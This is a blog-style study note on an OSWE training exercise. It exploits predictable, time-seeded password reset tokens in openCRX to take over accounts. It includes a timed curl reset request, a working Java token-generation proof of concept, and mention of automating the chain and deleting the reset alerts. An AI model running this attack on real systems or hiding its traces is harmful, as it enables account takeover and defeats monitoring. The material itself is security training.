Password Reset Authentication Bypass in Java (OSWE)

R3zk0n · October 2, 2025

Contents
    • Exploit deterministic password reset tokens to gain access to the application and achieve RCE
      • Based off “openCRX Authentication Bypass and Remote Code Execution” –> Chapter 10 AWAE
      • OpenCRX: open source customer relationship management (CRM)

    Apache TomEE: https://tomee.apache.org/ (Enterprise Edition)

    Observe Java Files

    • Java Archive (JAR) files are typically used for stand-alone applications or libraries.
    • Web Application Archive (WAR) files are used to collect multiple JARs and static content, such as HTML, into a single archive.
    • Enterprise Application Archive (EAR) files can contain multiple JARs and WARs to consolidate multiple web applications into a single file.

    Handling Source Code

    • SSH Copy to Local Machine: scp student@opencrx:~/crx/apache-tomee-plus-7.0.5/apps/opencrx-core-CRX.ear . (Contains all WAR and JAR files)
    • Unzip: unzip -q opencrx-core-CRX.ear -d opencrx
    • Open JD-GUI on Kali for analysis

    Examining Java Application

    Opening Steps

    • First inspect *.core.* files of the application
    • web.xml –> Deployment Descriptor mapping URL to servlets
      • Servlets in Java handle incoming HTTP requests
      • Java Server Pages (JSP) are a form of servlet used for dynamic pages. JSPs can mix Java code with traditional HTML.

    Look for interesting functions in JSP files, such as:

    • userHome.requestPasswordReset();
    • Locate function, if not clickable, must be elsewhere
    • EAR file contains /META-INF/application.xml with external library location
      • <library-directory>APP-INF/lib</library-directory>

    Look through JAR class files

    • Locate JAR file in the includes section of the JSP file: org.opencrx.kernel.generic.* –> opencrx-kernel.jar
      • If we find an empty method, it is an Interface that groups methods. Interfaces are implemented elsewhere.
      • Find another class that implements this: ???.requestPasswordReset() –> Search method in JD-GUI
      • public void requestPasswordReset(UserHome userHome)
      • Continue looking for interesting functions:
        • String resetToken = Utils.getRandomBase62(40);

    Java Interactive Testing

    • Java IDE: sudo apt install openjdk-11-jdk-headless –> javac and jshell
    • java -version
    • Instances of java.util.Random are not cryptographically secure.
    jshell
    
    import java.util.Random;
    Random r1 = new Random(42); --> Same numerical seed
    Random r2 = new Random(42); --> Same numerical seed
    int x, y;
    for(int i=0; i<10; i++) { x = r1.nextInt(); y = r2.nextInt(); if(x == y){ System.out.println("They match! " + x);}}
    
    import java.security.SecureRandom;
    byte[] s = new byte[] { (byte) 0x2a } --> Byte Seed
    SecureRandom r1 = new SecureRandom(s);
    SecureRandom r2 = new SecureRandom(s);
    if(r1.nextInt() == r2.nextInt()) { System.out.println("They match!"); } else { System.out.println("No match."); }
    
    • Random random = new Random(System.currentTimeMillis()); –> Returns current time in milliseconds, vulnerable
    • Navigate to location of application (https://www.opencrx.org/opencrx/2.2/QuickStart/openCRX_quickstart.html#3.3.1.First%20Login%20as%20%E2%80%9Cadmin-Root%E2%80%9D outline)
    • Navigate to the actual application and determine that account enumeration is possible.

    Exploitation of Date/Time Seed

    • Seed is System.currentTimeMillis() which can be controlled (Ex: 1653450962696)
    • Measure current time + send reset request + measure time again to determine realm of possibility
    • date +%s%3N && curl -s -i -X 'POST' --data-binary 'id=guest' 'http://opencrx:8080/opencrx-core-CRX/RequestPasswordReset.jsp' && date +%s%3N
      • %s: Milliseconds
      • %3N: +3 Nanosecond values
    • https://www.epochconverter.com/
    • Create Java POC (OpenCRXToken.java, class must match name):
    import java.util.Random;
      
    public class OpenCRXToken {
      
      public static void main(String args[]) {
        int length = 40;
        long start = Long.parseLong("1582038122371");
        long stop = Long.parseLong("1582038122769");
        String token = "";
      
        for (long l = start; l < stop; l++) {
          token = getRandomBase62(length, l);
          System.out.println(token);
        }
      }
      
      public static String getRandomBase62(int length, long seed) {                                                
        String alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";                         
        Random random = new Random(seed);                                                                           
        String s = "";                                                                                              
        for (int i = 0; i < length; i++)                                                                            
          s = s + "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".charAt(random.nextInt(62));      
        return s;                                                                                                   
      }
    }
    
    • Compile: javac OpenCRXToken.java
    • Execute: java OpenCRXToken > tokens.txt

    Automation

    • Need to know ProviderName and SegmentName
    • Investigate source code of the reset password page: guest@ProviderName/SegmentName
    • View WizardInvoker.jsp for definitions –> ProviderName: CRX and SegmentName: Standard
    • View passwordResetConfirm.jsp –> After sending reset we need to request the confirm page
    • Created proof of concept –> View Scripts in Github
    • Automate the entire password reset attack chain, including the deletion of any password reset alerts that are generated.

    Twitter, Facebook